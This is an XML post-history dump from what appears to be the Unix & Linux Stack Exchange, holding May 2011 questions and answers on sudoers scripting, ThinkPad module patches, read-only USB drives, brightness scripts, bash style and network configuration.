  <row Id="32691" PostHistoryTypeId="3" PostId="13217" RevisionGUID="b3851757-dc64-4488-91b9-dafda225b530" CreationDate="2011-05-15T16:27:18.213" UserId="6245" Text="épackagingà" />
  <row Id="32692" PostHistoryTypeId="2" PostId="13218" RevisionGUID="354c45bd-da56-497b-a2be-c22dbf5bee4e" CreationDate="2011-05-15T17:23:14.753" UserId="7508" Text="Hello experts, I'm currently running a vps on centos. I have an application running in the background and it will run a script under sudo to either disable or enable any account.&#xD;&#xA;&#xD;&#xA;So what I'm trying to create is a script that creates an account, adds a password and adds the users under &quot;etc/sudoers&quot;.&#xD;&#xA;&#xD;&#xA;The script is being run as root so there shouldn't be any permission errors. How would I come to create this script?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32693" PostHistoryTypeId="1" PostId="13218" RevisionGUID="354c45bd-da56-497b-a2be-c22dbf5bee4e" CreationDate="2011-05-15T17:23:14.753" UserId="7508" Text="Centos: Adduser/Passwd/Sudoer Script" />
  <row Id="32694" PostHistoryTypeId="3" PostId="13218" RevisionGUID="354c45bd-da56-497b-a2be-c22dbf5bee4e" CreationDate="2011-05-15T17:23:14.753" UserId="7508" Text="écentosàésudoà" />
  <row Id="32695" PostHistoryTypeId="25" PostId="13218" RevisionGUID="06054d6b-44c2-4383-bc9e-5ba843a041be" CreationDate="2011-05-15T18:12:11.767" Comment="http://twitter.com/#!/StackUnix/status/69827431590137856" />
  <row Id="32696" PostHistoryTypeId="2" PostId="13219" RevisionGUID="4159f82f-6ed7-4ecd-b22f-a16fc0a73c36" CreationDate="2011-05-15T18:27:20.573" UserId="6988" Text="I don't sure but probably you can use [`animate`][1] from ImageMagick package. See usage examples here: http://www.imagemagick.org/Usage/anim_basics/&#xD;&#xA;&#xD;&#xA;[1]: http://www.imagemagick.org/script/animate.php" />
  <row Id="32697" PostHistoryTypeId="2" PostId="13220" RevisionGUID="341aa05e-6949-4eb1-b34c-8ac8d95de02f" CreationDate="2011-05-15T20:06:09.810" UserId="3227" Text="I've found that to do it through GNOME's shortcut config dialog, you first have to go to System -&gt; Preferences/Administration -&gt; Keyboard and click on the &quot;Layout Options&quot; button in the &quot;Layouts&quot; tab. Go to &quot;Alt/Win key behavior&quot; and select &quot;Hyper is mapped to Win-Keys&quot;. Then the Win key can be used as a modifier.&#xD;&#xA;&#xD;&#xA;Edit: reread the question, this won't work for just &quot;Win&quot; (I assumed Win+R). Sorry." />
  <row Id="32698" PostHistoryTypeId="2" PostId="13221" RevisionGUID="ae2e6c21-d590-4554-b4a5-03bb1f000428" CreationDate="2011-05-15T20:24:07.177" UserId="5720" Text="I think [stopmotion][1] is the technique you are looking for.&#xD;&#xA;After a short search I found [this application][2], maybe this might help you. But I guess there are several other similar tools around.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Stopmotion&#xD;&#xA;  [2]: http://stopmotion.bjoernen.com/" />
  <row Id="32699" PostHistoryTypeId="2" PostId="13222" RevisionGUID="30e42f86-a797-420d-a71f-577be358cf4f" CreationDate="2011-05-15T20:45:35.860" UserId="7512" Text="A fix on **Arch Linux**&#xD;&#xA;&#xD;&#xA;Download the [tp_smapi][1] modules from AUR.&#xD;&#xA;&#xD;&#xA;Build and install: `makepkg -i`&#xD;&#xA;&#xD;&#xA;Attempt to load the module:&#xD;&#xA;&#xD;&#xA;    $ sudo  modprobe -v tp_smapi   &#xD;&#xA;    insmod /lib/modules/2.6.38-ARCH/extra/thinkpad_ec.ko.gz &#xD;&#xA;    WARNING: Error inserting thinkpad_ec (/lib/modules/2.6.38-ARCH/extra/thinkpad_ec.ko.gz): No such device&#xD;&#xA;    FATAL: Error inserting tp_smapi (/lib/modules/2.6.38-ARCH/extra/tp_smapi.ko.gz): No such device&#xD;&#xA;&#xD;&#xA;Check the sys log:&#xD;&#xA;&#xD;&#xA;    $ dmesg | tail -1           &#xD;&#xA;    [ 1009.371778] thinkpad_ec: no ThinkPad embedded controller!&#xD;&#xA;&#xD;&#xA;Edit `src/tp_smapi-0.40/thinkpad_ec.c` as krubo's answer says, adding a patch to the package:&#xD;&#xA;&#xD;&#xA;    --- thinkpad_ec.c.orig  2011-05-15 13:35:28.556634244 -0700&#xD;&#xA;    +++ thinkpad_ec.c       2011-05-15 13:35:40.466634616 -0700&#xD;&#xA;    @@ -460,6 +460,7 @@&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad A30&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad T23&quot;),&#xD;&#xA;                    TP_DMI_MATCH(&quot;IBM&quot;, &quot;ThinkPad X24&quot;),&#xD;&#xA;    +               TP_DMI_MATCH(&quot;LENOVO&quot;, &quot;ThinkPad X120e&quot;),&#xD;&#xA;                    { .ident = NULL }&#xD;&#xA;            };&#xD;&#xA;            return dmi_find_substring(DMI_DEV_TYPE_OEM_STRING,&#xD;&#xA;&#xD;&#xA;Edit the PKGBUILD to include the new patch:&#xD;&#xA;&#xD;&#xA;    patch -Np1 &lt; &quot;$srcdir/thinkpad-x120e.patch&quot;     &#xD;&#xA;&#xD;&#xA;Remove any previously built package, and rebuild and install the package (`makepkg -i`) with this patch&#xD;&#xA;&#xD;&#xA;Load the module, and you should be in business:&#xD;&#xA;&#xD;&#xA;    $ sudo modprobe  tp_smapi&#xD;&#xA;    $ dmesg | tail -1&#xD;&#xA;    [ 1735.966431] tp_smapi successfully loaded (smapi_port=0xb0).&#xD;&#xA;    $ ls /sys/devices/platform/smapi &#xD;&#xA;    ac_connected  BAT0  BAT1  driver  modalias  power &#xD;&#xA;    smapi_request  subsystem  uevent&#xD;&#xA;&#xD;&#xA;  [1]: http://aur.archlinux.org/packages.php?ID=45862&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32700" PostHistoryTypeId="2" PostId="13223" RevisionGUID="f2c9a664-6ad1-4406-a27d-8d76b32a9a68" CreationDate="2011-05-15T20:46:14.393" UserId="1237" Text="I just installed Fedora 15 beta with Gnome 3. I've done all the updates.&#xD;&#xA;&#xD;&#xA;The networking applet asks for the wireless password every time it connects. I found [this bug](https://bugzilla.redhat.com/show_bug.cgi?id=683675), which says that the issue is fixed in gnome-keyring-2.91.92-1.fc15. I have version 3.0.1-1.fc15, so this shouldn't be an issue.&#xD;&#xA;&#xD;&#xA;Is there any other reason why the keyring wouldn't store the password?" />
  <row Id="32701" PostHistoryTypeId="1" PostId="13223" RevisionGUID="f2c9a664-6ad1-4406-a27d-8d76b32a9a68" CreationDate="2011-05-15T20:46:14.393" UserId="1237" Text="Fedora 15 won't remember wireless password" />
  <row Id="32702" PostHistoryTypeId="3" PostId="13223" RevisionGUID="f2c9a664-6ad1-4406-a27d-8d76b32a9a68" CreationDate="2011-05-15T20:46:14.393" UserId="1237" Text="éfedoraàénetworkingàépasswordàéwirelessàégnomeökeyringà" />
  <row Id="32703" PostHistoryTypeId="2" PostId="13224" RevisionGUID="13f21c6e-0711-4907-9c89-ce140d222712" CreationDate="2011-05-15T20:47:18.400" UserId="434" Text="Do `lspci` and see if you can see any PATA/SATA/SCSI/SAS controllers.  If you do, google around for its name, and you'll find the name of the driver for it.  Load it, and see if your drive shows up (`fdisk -l` or `cat /proc/partitions` usually does the trick).  &#xD;&#xA;&#xD;&#xA;For USB storage, you need apopriate USB modules (uhci/ehci/ohci) and then usb-storage.  The name of the drivers have changed quite a bit over the years, so be mindful which kernel version you're using, as it will affect the name of what you need to load." />
  <row Id="32704" PostHistoryTypeId="25" PostId="13223" RevisionGUID="06a29fe9-a0f1-4b23-8000-b4c64f0d681d" CreationDate="2011-05-15T21:12:12.000" Comment="http://twitter.com/#!/StackUnix/status/69872731025457152" />
  <row Id="32705" PostHistoryTypeId="5" PostId="13079" RevisionGUID="580dc078-f722-4692-b091-73d749b137ee" CreationDate="2011-05-15T21:33:24.970" UserId="1131" Comment="more details for the most promising looking" Text="andcoz's answer provided me with a good search term, i.e. just using&#xD;&#xA;&#xD;&#xA;    $ apt-cache search gallery&#xD;&#xA;&#xD;&#xA;results in some packages matching the above criteria, e.g.&#xD;&#xA;&#xD;&#xA;* bins&#xD;&#xA;* [igal2][1] - Nice looking film reel effect in gallery by default, scaling of original images is not the default (see `--bigy`), homepage and man page are missing some usage examples&#xD;&#xA;* jigl&#xD;&#xA;* [lazygal][2] - Themes are easy to change/adjust, instead of next/previous links small thumbnails (at the left/right), small/medium scaled views by default, `--original` creates links to the original files&#xD;&#xA;* llgal&#xD;&#xA;* [photon][3] - Optional slideshow feature via javascript, some scaling and link to original image available&#xD;&#xA;* webmagick&#xD;&#xA;&#xD;&#xA;(Under Ubuntu 10.04)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://igal.trexler.at/&#xD;&#xA;  [2]: http://sousmonlit.dyndns.org/~niol/playa/oss/projects/lazygal/&#xD;&#xA;  [3]: http://www.saillard.org/programs_and_patches/photon/" />
  <row Id="32706" PostHistoryTypeId="2" PostId="13225" RevisionGUID="c7ccafcd-5ae1-4bbf-94ea-2ea40fa11adf" CreationDate="2011-05-15T22:13:09.397" UserId="6234" Text="During an ill-fated attempt to get tinycore linux to boot from a USB drive I managed to create a bunch of files that I now cannot remove.  &#xD;&#xA;&#xD;&#xA;    fortino@rebel:/media/working/boot/isolinux$ rm *.*&#xD;&#xA;    rm: cannot remove `boot.cat': Read-only file system&#xD;&#xA;    rm: cannot remove `boot.msg': Read-only file system&#xD;&#xA;    rm: cannot remove `isolinux.bin': Read-only file system&#xD;&#xA;    rm: cannot remove `isolinux.cfg': Read-only file system&#xD;&#xA;&#xD;&#xA;I tried giving myself w and x permission for the files but that didn't appear to work.&#xD;&#xA;&#xD;&#xA;What is the best way to clean these files off of this USB drive?  &#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="32707" PostHistoryTypeId="1" PostId="13225" RevisionGUID="c7ccafcd-5ae1-4bbf-94ea-2ea40fa11adf" CreationDate="2011-05-15T22:13:09.397" UserId="6234" Text="How do I remove a Read-only file system from a usb drive" />
  <row Id="32708" PostHistoryTypeId="3" PostId="13225" RevisionGUID="c7ccafcd-5ae1-4bbf-94ea-2ea40fa11adf" CreationDate="2011-05-15T22:13:09.397" UserId="6234" Text="éfilesystemsàébootàérmà" />
  <row Id="32709" PostHistoryTypeId="5" PostId="13195" RevisionGUID="a02a868b-6884-4deb-9331-b5d1bda63a8f" CreationDate="2011-05-15T22:14:55.017" UserId="7431" Comment="added 157 characters in body" Text="So I have two monitors, I want to rotate one in portrait. AFAIK twinview doesn't allow single monitor rotation -- both monitors are rotated. &#xD;&#xA;&#xD;&#xA;The reason I want twinview is because it allows compositing. My question would be, is there anything I can do to have compositing, dual head, and one of the monitors in portrait mode. If not, when are these ridiculously simple problems going to be addressed ? &#xD;&#xA;&#xD;&#xA;-- edit -- &#xD;&#xA;&#xD;&#xA;Just bought another high-spec monitor to go with my main one, no portrait 4 me :/ Gonna get a neck injury with these 2 16:10 monitors lol." />
  <row Id="32710" PostHistoryTypeId="2" PostId="13226" RevisionGUID="a84e17ca-e270-4051-8fad-99d3ac3d1dbf" CreationDate="2011-05-15T22:31:17.983" UserId="2689" Text="In Java, we have Javadoc and some different styles when programming. In Python, there's pep8.&#xD;&#xA;&#xD;&#xA;I'm creating some bash scripts for my own use, and would like to know from you, experienced bash users, if there's some kind of &quot;pattern&quot; like indentation, documentation for functions, etc. A book or a website with some references." />
  <row Id="32711" PostHistoryTypeId="1" PostId="13226" RevisionGUID="a84e17ca-e270-4051-8fad-99d3ac3d1dbf" CreationDate="2011-05-15T22:31:17.983" UserId="2689" Text="Is there some kind of &quot;patterns&quot; when coding bash scripts?" />
  <row Id="32712" PostHistoryTypeId="3" PostId="13226" RevisionGUID="a84e17ca-e270-4051-8fad-99d3ac3d1dbf" CreationDate="2011-05-15T22:31:17.983" UserId="2689" Text="ébashàéstyleàéguideàépatternsà" />
  <row Id="32713" PostHistoryTypeId="2" PostId="13227" RevisionGUID="a24a38ec-e78e-476f-a086-607fec72e27f" CreationDate="2011-05-15T22:37:04.613" UserId="1879" Text="An excellent answer to this question can be found here: [design patterns or best practices for shell scripts][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/78497/design-patterns-or-best-practices-for-shell-scripts" />
  <row Id="32715" PostHistoryTypeId="2" PostId="13229" RevisionGUID="a2caaf62-e832-4b96-8d0a-ad5a5cb48b81" CreationDate="2011-05-15T22:44:21.533" UserId="1879" Text="you can use the [useradd][1] command to create a user but you shouldn't really automate adding the user to the sudoers file.  This file is normally edited via the [visudo][2] command.  Editing it directly, especially in an automated fashion may results in errors rendering the file corrupt.  Certainly not a situation you will wish to deal with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediacollege.com/cgi-bin/man/page.cgi?topic=useradd&#xD;&#xA;  [2]: http://www.gratisoft.us/sudo/man/1.7.5/visudo.man.html" />
  <row Id="32716" PostHistoryTypeId="2" PostId="13230" RevisionGUID="b5609060-c54d-4d87-a149-4ef2bc1f9847" CreationDate="2011-05-15T23:37:54.087" UserId="7237" Text="I ended up making a few scripts to solve my problem.&#xD;&#xA;&#xD;&#xA; - I bound the following three scripts to convenient keys (CTRL+ALT+PGUP for brightness up, CTRL+ALT+PGDN for brigthtness down and CTRL+ALT+HOME for restoring brigtness to a default value). &#xD;&#xA; - The scripts require sudoless setpci (you can probably play with some chmods after looking at errors you get by running setpci to avoid editing sudoers) via a line like:&#xD;&#xA;&#xD;&#xA;    androith ALL=(ALL) NOPASSWD: /usr/bin/setpci&#xD;&#xA;&#xD;&#xA; - Finally, you will have to hold a &quot;state file&quot; in something akin to /home/androith/.scripts/brightness/state containing only a state (BF to begin with is OK).&#xD;&#xA;&#xD;&#xA;**brightness-up.sh**&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # Get the stored state from file&#xD;&#xA;    exec &lt; /home/androith/.scripts/brightness/state # stdin replaced by this file&#xD;&#xA;    read state # first line of file goes to state variable&#xD;&#xA;    &#xD;&#xA;    # Increase the state, up to FF&#xD;&#xA;    new_state=$(echo &quot;$[0x$state+0x10]&quot;) # in decimal&#xD;&#xA;    if [ &quot;$new_state&quot; -gt 255 ] # 255 = FF in hex&#xD;&#xA;    then&#xD;&#xA;        echo &quot;Already at maximal brightness.&quot;&#xD;&#xA;    else&#xD;&#xA;        state=$(echo &quot;obase=16; $new_state&quot; | bc) # put into hex&#xD;&#xA;        echo &quot;Setting brightness to $state and storing state...&quot;&#xD;&#xA;        sudo setpci -s 00:02.0 F4.B=$state # passwordless sudo&#xD;&#xA;        echo $state &gt; /home/androith/.scripts/brightness/state&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**brightness-down.sh**&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # Get the stored state from file&#xD;&#xA;    exec &lt; /home/androith/.scripts/brightness/state # stdin replaced by this file&#xD;&#xA;    read state # first line of file goes to state variable&#xD;&#xA;    &#xD;&#xA;    # Decrease the state, down to FF&#xD;&#xA;    new_state=$(echo &quot;$[0x$state-0x10]&quot;) # in decimal&#xD;&#xA;    if [ &quot;$new_state&quot; -lt 15 ] # 15 = 0F in hex&#xD;&#xA;    then&#xD;&#xA;        echo &quot;Already at minimal brightness.&quot;&#xD;&#xA;    else&#xD;&#xA;        state=$(echo &quot;obase=16; $new_state&quot; | bc) # update and put into hex&#xD;&#xA;        echo &quot;Setting brightness to $state and storing state...&quot;&#xD;&#xA;        sudo setpci -s 00:02.0 F4.B=$state # passwordless sudo&#xD;&#xA;        echo $state &gt; /home/androith/.scripts/brightness/state&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**brightness-default.sh**&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # Set brightness to default value&#xD;&#xA;    state=AF&#xD;&#xA;    sudo setpci -s 00:02.0 F4.B=$state # passwordless sudo&#xD;&#xA;    echo $state &gt; /home/androith/.scripts/brightness/state&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32717" PostHistoryTypeId="2" PostId="13231" RevisionGUID="f078139b-d8d1-4a13-b5f8-85cb2cba4ced" CreationDate="2011-05-15T23:50:13.483" UserId="2343" Text="Gilles' python method is definitely faster, but I thought I'd just throw in this *bash***+***std-single-purpose-tools* as generall grist to the mill .. It's probably as much [about 'bc'](http://stackoverflow.com/questions/6007840/how-can-hex-addition-in-bc-be-made-to-overflow-at-the-8-byte-limit-uint64) as anything else... It has a lot of Initialization stuff, to cater for input files which are less than 64k...&#xD;&#xA;&#xD;&#xA;    # This script reads 8196 8-byte blocks (64 KiB) from the head and tail of a file&#xD;&#xA;    # Each 8-bytes block is interpreted as an unsigned 64-bit Little-Endian integer.&#xD;&#xA;    # The head integers and tail integers ar printed to stdout; one integer per line.&#xD;&#xA;    #&#xD;&#xA;    # INIT: If the file is smaller than 64k, calculate the number of unsigned ints to read &#xD;&#xA;    # ====&#xD;&#xA;      file=&quot;$1&quot;&#xD;&#xA;      flen=($(du -b &quot;$file&quot;))           # file length&#xD;&#xA;      qlen=8                            # ui64 length in bytes&#xD;&#xA;        ((flen&lt;qlen)) &amp;&amp; exit 1         # file is too short -- exit &#xD;&#xA;      bmax=$((64*1024))                 # byte end of read (== byte max to read)&#xD;&#xA;        ((flen&lt;bmax)) &amp;&amp; ((bmax=flen))  # reduce byte max to file length&#xD;&#xA;      qmax=$((bmax/qlen))               # ui64 end of read (== ui64 max to read)&#xD;&#xA;        (((qmax*qlen)&lt;bmax)) &amp;&amp; ((bmax=(qmax*qlen))) # round down byte max (/8)&#xD;&#xA;      hash=$(echo $flen |xxd -p -u)&#xD;&#xA;    # &#xD;&#xA;    # MAIN&#xD;&#xA;    # ====&#xD;&#xA;      for skip in 0  $((flen-bmax)) ;do&#xD;&#xA;        hash=$(dd if=&quot;$file&quot; bs=1 count=$bmax skip=$skip 2&gt;/dev/null |&#xD;&#xA;                 xxd -p -u -c 8 |&#xD;&#xA;                 { echo -e &quot; ibase=16 \n obase=10 \n scale=0 \n hash=$hash \n ouint=10000000000000000 &quot;; \&#xD;&#xA;                   sed -re &quot;s/(..)(..)(..)(..)(..)(..)(..)(..)/hash=(hash+\8\7\6\5\4\3\2\1)%ouint/&quot;; \&#xD;&#xA;                   echo &quot;hash&quot;; } |bc)&#xD;&#xA;      done&#xD;&#xA;      echo $hash&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # Output:&#xD;&#xA;    16A6528E803325FF&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="32718" PostHistoryTypeId="5" PostId="13231" RevisionGUID="b4e4c5e1-cc54-4494-8113-815aa3ac77ac" CreationDate="2011-05-16T00:11:43.947" UserId="2343" Comment="added 171 characters in body; added 13 characters in body" Text="Gilles' python method is definitely faster, but I thought I'd just throw in this *bash***+***std-single-purpose-tools* as generall grist to the mill .. It's probably as much [about 'bc'](http://stackoverflow.com/questions/6007840/how-can-hex-addition-in-bc-be-made-to-overflow-at-the-8-byte-limit-uint64) as anything else... It has a lot of Initialization stuff, to cater for input files which are less than 64k... The *hash* is initialized to the file's length, and then each of the 64-bit integers is successively added to it; causing (expected) integer overflow.. `bc` managed to do the trick...&#xD;&#xA;&#xD;&#xA;    # This script reads 8196 8-byte blocks (64 KiB) from the head and tail of a file&#xD;&#xA;    # Each 8-bytes block is interpreted as an unsigned 64-bit Little-Endian integer.&#xD;&#xA;    # The head integers and tail integers ar printed to stdout; one integer per line.&#xD;&#xA;    #&#xD;&#xA;    # INIT: If the file is smaller than 64k, calculate the number of unsigned ints to read &#xD;&#xA;    # ====&#xD;&#xA;      file=&quot;$1&quot;&#xD;&#xA;      flen=($(du -b &quot;$file&quot;))           # file length&#xD;&#xA;      qlen=8                            # ui64 length in bytes&#xD;&#xA;        ((flen&lt;qlen)) &amp;&amp; exit 1         # file is too short -- exit &#xD;&#xA;      bmax=$((64*1024))                 # byte end of read (== byte max to read)&#xD;&#xA;        ((flen&lt;bmax)) &amp;&amp; ((bmax=flen))  # reduce byte max to file length&#xD;&#xA;      qmax=$((bmax/qlen))               # ui64 end of read (== ui64 max to read)&#xD;&#xA;        (((qmax*qlen)&lt;bmax)) &amp;&amp; ((bmax=(qmax*qlen))) # round down byte max (/8)&#xD;&#xA;      hash=$(echo $flen |xxd -p -u)&#xD;&#xA;    # &#xD;&#xA;    # MAIN&#xD;&#xA;    # ====&#xD;&#xA;      for skip in 0  $((flen-bmax)) ;do&#xD;&#xA;        hash=$(dd if=&quot;$file&quot; bs=1 count=$bmax skip=$skip 2&gt;/dev/null |&#xD;&#xA;                 xxd -p -u -c 8 |&#xD;&#xA;                 { echo -e &quot; ibase=16 \n obase=10 \n scale=0 \n hash=$hash \n ouint=10000000000000000 &quot;; \&#xD;&#xA;                   sed -re &quot;s/(..)(..)(..)(..)(..)(..)(..)(..)/hash=(hash+\8\7\6\5\4\3\2\1)%ouint/&quot;; \&#xD;&#xA;                   echo &quot;hash&quot;; } |bc)&#xD;&#xA;      done&#xD;&#xA;      echo $hash&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # Output:&#xD;&#xA;    16A6528E803325FF&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="32719" PostHistoryTypeId="25" PostId="13225" RevisionGUID="374d090b-cc99-41f0-8bb6-4285ed587161" CreationDate="2011-05-16T00:12:12.180" Comment="http://twitter.com/#!/StackUnix/status/69918030263627776" />
  <row Id="32720" PostHistoryTypeId="2" PostId="13232" RevisionGUID="d8565d66-e5ea-4096-8fcc-5d3c7d426dd4" CreationDate="2011-05-16T01:57:45.673" UserId="7515" Text="Hello,&#xD;&#xA;&#xD;&#xA;I just need to simulate one key being pressed into another process how can i do that?&#xD;&#xA;&#xD;&#xA;1 - Xorg isn't running&#xD;&#xA;2 - Inputs are handled by DirectFB&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32721" PostHistoryTypeId="1" PostId="13232" RevisionGUID="d8565d66-e5ea-4096-8fcc-5d3c7d426dd4" CreationDate="2011-05-16T01:57:45.673" UserId="7515" Text="Driver to simulate keypresses into another process" />
  <row Id="32722" PostHistoryTypeId="3" PostId="13232" RevisionGUID="d8565d66-e5ea-4096-8fcc-5d3c7d426dd4" CreationDate="2011-05-16T01:57:45.673" UserId="7515" Text="édriversà" />
  <row Id="32725" PostHistoryTypeId="2" PostId="13234" RevisionGUID="010f108e-f294-4b61-9466-eaa08bf2ebe6" CreationDate="2011-05-16T03:12:01.533" UserId="5770" Text="How about becoming root and doing:&#xD;&#xA;&#xD;&#xA;`# rm -f *`&#xD;&#xA;&#xD;&#xA;in the proper directory of course." />
  <row Id="32726" PostHistoryTypeId="25" PostId="13232" RevisionGUID="13980cff-aee7-4e35-a005-375d6c2cc9fc" CreationDate="2011-05-16T03:12:12.967" Comment="http://twitter.com/#!/StackUnix/status/69963332030959617" />
  <row Id="32727" PostHistoryTypeId="5" PostId="13234" RevisionGUID="72aca9f5-2253-4f70-99df-115e1c961091" CreationDate="2011-05-16T03:19:09.860" UserId="5770" Comment="re: 'ro' switches" Text="How about becoming root and doing:&#xD;&#xA;&#xD;&#xA;`# rm -f *`&#xD;&#xA;&#xD;&#xA;in the proper directory of course.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;It just occurred to me that some flash drives have a physical 'ro' switch. I wonder if that's the cause of your problem." />
  <row Id="32729" PostHistoryTypeId="2" PostId="13236" RevisionGUID="979529c4-3f6a-4824-873e-12c97ddedec6" CreationDate="2011-05-16T03:39:59.867" UserId="7318" Text="When I set up a Virtual Machine with windows (using VMPlayer), I set the Network Connection properties from the VM settings from NAT to bridged. Then I proceed to set the following IP Properties in the OS (see image below) so that the Virtual Windows OS becomes part of my network.&#xD;&#xA;&#xD;&#xA;How do I set the same IP Properties on a Linux machine (I use CentOS) using terminal? If its any file that needs to be edited please let me know which. I wish to set up the virtual Linux machine similar to how my Virtual Windows machines are set up.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/C3Hh2.jpg" />
  <row Id="32730" PostHistoryTypeId="1" PostId="13236" RevisionGUID="979529c4-3f6a-4824-873e-12c97ddedec6" CreationDate="2011-05-16T03:39:59.867" UserId="7318" Text="How to set Internet Protocol properties using terminal?" />
  <row Id="32731" PostHistoryTypeId="3" PostId="13236" RevisionGUID="979529c4-3f6a-4824-873e-12c97ddedec6" CreationDate="2011-05-16T03:39:59.867" UserId="7318" Text="éterminalàéipà" />
  <row Id="32732" PostHistoryTypeId="2" PostId="13237" RevisionGUID="1633b2c7-160d-4d35-8a2b-3da74b6aa490" CreationDate="2011-05-16T03:55:43.160" UserId="2567" Text="First try to umount and mount is again as read write.&#xD;&#xA;&#xD;&#xA;If that don't work create a new filesystem and/or partitiontable, &#xD;&#xA;and for that you can use fdisk and mkfs.ext4 or mkfs.vfat." />
  <row Id="32733" PostHistoryTypeId="2" PostId="13238" RevisionGUID="9d540f3e-4209-43c4-a8ab-e97ad4150e84" CreationDate="2011-05-16T04:12:36.593" UserId="2180" Text="The address and routing information can be setup using `ip`. The DNS is set in the file `/etc/resolv.conf`.&#xD;&#xA;&#xD;&#xA;    ip addr add 172.16.5.23&#xD;&#xA;    ip route add 172.16.0.0/16 via 172.16.1.1&#xD;&#xA;&#xD;&#xA;    echo -e &quot;nameserver 172.16.1.10\nnameserver 172.16.1.250&quot; &gt; /etc/resolv.conf" />
  <row Id="32734" PostHistoryTypeId="2" PostId="13239" RevisionGUID="5524cec2-2027-4cfb-add8-40f560812c42" CreationDate="2011-05-16T05:45:29.367" UserId="2832" Text="Just wondering if it is possible to create a file which has its md5sum inside it along with other contents too. " />
  <row Id="32735" PostHistoryTypeId="1" PostId="13239" RevisionGUID="5524cec2-2027-4cfb-add8-40f560812c42" CreationDate="2011-05-16T05:45:29.367" UserId="2832" Text="Can a file contain its md5sum inside it?" />
  <row Id="32736" PostHistoryTypeId="3" PostId="13239" RevisionGUID="5524cec2-2027-4cfb-add8-40f560812c42" CreationDate="2011-05-16T05:45:29.367" UserId="2832" Text="éencryptionàémd5sumà" />
  <row Id="32737" PostHistoryTypeId="25" PostId="13239" RevisionGUID="977b2367-1884-4706-a377-716158d3a45b" CreationDate="2011-05-16T06:12:13.287" Comment="http://twitter.com/#!/StackUnix/status/70008631235584000" />
  <row Id="32738" PostHistoryTypeId="4" PostId="4621" RevisionGUID="996a7722-74b3-4777-be47-bfc84d69a109" CreationDate="2011-05-16T06:19:02.907" UserId="5454" Comment="corrected spelling in title -- almost stopped me from finding a useful question :)" Text="Correctly setting environment" />
  <row Id="32739" PostHistoryTypeId="24" PostId="4621" RevisionGUID="996a7722-74b3-4777-be47-bfc84d69a109" CreationDate="2011-05-16T06:19:02.907" Comment="Proposed by 5454 approved by 73 edit id of 375" />
  <row Id="32740" PostHistoryTypeId="5" PostId="13003" RevisionGUID="e1bb6874-fca8-47e7-9c66-fe8ecdd95d0d" CreationDate="2011-05-16T06:39:11.497" UserId="885" Comment="grammar; formatting; mention “dead keys”" Text="I'm currently using Ubuntu 10.10 and Netbeans 7.0 and I can't type accented letters with dead keys any more. It's not a version specific problem seems it's related with Swing since I've got the same problem with older version of Netbeans and OS... &#xD;&#xA;&#xD;&#xA;When I type &lt;kbd&gt;'&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; on any app on Linux I get a `á` vowel. All Linux apps are working fine, but Netbeans doesn't. When I type &lt;kbd&gt;'&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; on Netbeans I get a `a` vowel (no accent). I cant type quotes and double quotes either.&#xD;&#xA;&#xD;&#xA;But I got accents on Netbeans using the right &lt;kbd&gt;Alt&lt;/kbd&gt; key. (that's not what I want)&#xD;&#xA;&#xD;&#xA;At terminal I got the following locale:&#xD;&#xA;&#xD;&#xA;    LANG=en_US.utf8&#xD;&#xA;    LC_CTYPE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TIME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_COLLATE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MONETARY=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_PAPER=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_NAME=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;en_US.utf8&quot;&#xD;&#xA;    LC_ALL=" />
  <row Id="32741" PostHistoryTypeId="4" PostId="13003" RevisionGUID="e1bb6874-fca8-47e7-9c66-fe8ecdd95d0d" CreationDate="2011-05-16T06:39:11.497" UserId="885" Comment="grammar; formatting; mention “dead keys”" Text="Dead keys not working in Java Swing applications" />
